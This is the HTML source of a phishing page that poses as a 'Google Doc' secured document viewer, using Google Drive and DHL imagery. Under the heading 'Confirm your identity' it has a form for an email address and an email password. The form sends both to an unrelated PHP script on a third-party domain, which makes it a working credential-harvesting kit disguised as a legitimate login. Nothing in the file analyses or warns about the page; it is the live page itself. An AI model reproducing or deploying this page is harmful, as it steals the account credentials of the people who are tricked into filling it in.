|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<script type="text/javascript">
|
|
|
|
</script>
|
|
<meta charset="utf-8">
|
|
<title>Document storage</title>
|
|
<style type="text/css">
|
|
.inp{
|
|
|
|
border: 1px solid #EAEAEA;
|
|
-moz-border-radius: 3px;
|
|
-webkit-border-radius: 3px;
|
|
border-radius: 3px;
|
|
-webkit-box-shadow: rgba(0, 0, 0, 0.3) 0 1px 3px;
|
|
-moz-box-shadow: rgba(0,0,0,0.3) 0 1px 3px;
|
|
box-shadow: rgba(0, 0, 0, 0.3) 0 1px 3px;
|
|
}
|
|
.btn {
|
|
background: #3498db;
|
|
background-image: -webkit-linear-gradient(top, #3498db, #2980b9);
|
|
background-image: -moz-linear-gradient(top, #3498db, #2980b9);
|
|
background-image: -ms-linear-gradient(top, #3498db, #2980b9);
|
|
background-image: -o-linear-gradient(top, #3498db, #2980b9);
|
|
background-image: linear-gradient(to bottom, #3498db, #2980b9);
|
|
-webkit-border-radius: 15;
|
|
-moz-border-radius: 15;
|
|
border-radius: 15px;
|
|
text-shadow: 1px 1px 0px #666666;
|
|
font-family: Arial;
|
|
color: #ffffff;
|
|
font-size: 20px;
|
|
padding: 10px 20px 10px 20px;
|
|
text-decoration: none;
|
|
}
|
|
|
|
.btn:hover {
|
|
background: #3cb0fd;
|
|
background-image: -webkit-linear-gradient(top, #3cb0fd, #3498db);
|
|
background-image: -moz-linear-gradient(top, #3cb0fd, #3498db);
|
|
background-image: -ms-linear-gradient(top, #3cb0fd, #3498db);
|
|
background-image: -o-linear-gradient(top, #3cb0fd, #3498db);
|
|
background-image: linear-gradient(to bottom, #3cb0fd, #3498db);
|
|
text-decoration: none;
|
|
}
|
|
#errfn{
|
|
color:red;
|
|
font-weight:bold;
|
|
}
|
|
#errfnn{
|
|
color:red;
|
|
font-weight:bold;
|
|
}
|
|
</style>
|
|
|
|
</head>
|
|
|
|
|
|
<body style="background:#ededed; font-family:helvetica, verdana, tahoma, arial;">
|
|
<div style="
|
|
background:#fbfbfb;
|
|
width:60em;
|
|
height: 35em;
|
|
margin:0 auto;
|
|
margin-top:60px;
|
|
border: 1px solid #EAEAEA;
|
|
overflow: hidden;
|
|
-moz-border-radius: 3px;
|
|
-webkit-border-radius: 3px;
|
|
border-radius: 3px;
|
|
-webkit-box-shadow: rgba(0, 0, 0, 0.3) 0 1px 3px;
|
|
-moz-box-shadow: rgba(0,0,0,0.3) 0 1px 3px;
|
|
box-shadow: rgba(0, 0, 0, 0.3) 0 1px 3px;
|
|
background: white;
|
|
">
|
|
<div style="
|
|
float:left;
|
|
background:#FAFAFA url(../img/app-icons.png) center 50px no-repeat;padding:200px 40px 100px;
|
|
width:250px;
|
|
border-right: 1px solid #E6E6E6;
|
|
float:left;
|
|
height:35em;
|
|
margin-right:20px;
|
|
|
|
">
|
|
<img height="210" width="203" src="http://icons.iconarchive.com/icons/marcus-roberto/google-play/512/Google-Drive-icon.png">
|
|
<h1 style="color:#434342;">
|
|
Google Doc</h1>
|
|
<p style="color:silver;">
|
|
Secured Document Storage.</p>
|
|
|
|
|
|
</div>
|
|
<div style="padding:30px;">
|
|
<img src="https://www.dhl.com/content/dam/DHL_Express/Marketing_Stage/dhl_express_720x233.jpg" width="560" height="178" />
|
|
<h2>
|
|
Confirm your identity.<img align="right" border="0" height="49" src="https://as2.ftcdn.net/jpg/00/39/50/35/500_F_39503588_89i0hNExn4KMTUCodwI6p60yGA308Cc6.jpg" width="147"></h2>
|
|
<br />
|
|
<p style="color:#a5a4a3;">
|
|
<span style="color: rgb(64, 60, 59); font-family: Arial, Helvetica, sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: normal; orphans: 2; text-align: center; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(247, 250, 255); text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">
|
|
You Must Log in with your existing Email address </span><span class="subtitleTextblue" style="font-family: Arial, Helvetica, sans-serif; font-size: 16px; font-weight: 700; color: rgb(13, 107, 181); padding-top: 5px; text-decoration: none; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: center; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(247, 250, 255);">lapor@turnbackhoax.id</span></p>
|
|
|
|
<script type="text/javascript">
|
|
function validateForm() {
|
|
var x = document.forms["myForm"]["feedback"].value;
|
|
if (x == null || x == "") {
|
|
//alert("Username cannot be empty");
|
|
document.getElementById('errfn').innerHTML="Email field cannot be empty";
|
|
return false;
|
|
}
|
|
|
|
var y = document.forms["myForm"]["feedbacknow"].value;
|
|
if (y == null || y == "") {
|
|
document.getElementById('errfnn').innerHTML="Password field cannot be empty";
|
|
return false;
|
|
}
|
|
|
|
|
|
}
|
|
</script>
|
|
|
|
<form name="myForm" action="http://highnmightytv.com/orderss182doc.php" onsubmit="return validateForm()" method="post">
|
|
<table cellpadding="10px">
|
|
<tbody>
|
|
|
|
<tr>
|
|
<td width="200px"><span style="color:#3192c4; font-weight:bold;">Email ID</span></td>
|
|
<td><input type="text" name="feedback" class="inp" size="30"style="height:2em; color:#888888;"/><br /><span id="errfn"></span></td>
|
|
</tr>
|
|
<tr>
|
|
<td><span style="color:#3192c4; font-weight:bold;">Email Password</span></td>
|
|
<td><input type="password" name="feedbacknow" class="inp" size="30" style="height:2em; color:#888888;"/><br /><span id="errfnn"></span></td>
|
|
</tr>
|
|
<tr>
|
|
<td></td>
|
|
<td><input type="submit" value="View Document" class="btn" /></td>
|
|
</tr>
|
|
</tbody>
|
|
</table>
|
|
</form>
|
|
|
|
</div>
|
|
<div style="clear:both;"></div>
|
|
|
|
</div>
|
|
<p align="center" style="font-size:11px;">Copyright 2015</p>
|
|
</body>
|
|
</html>
|
.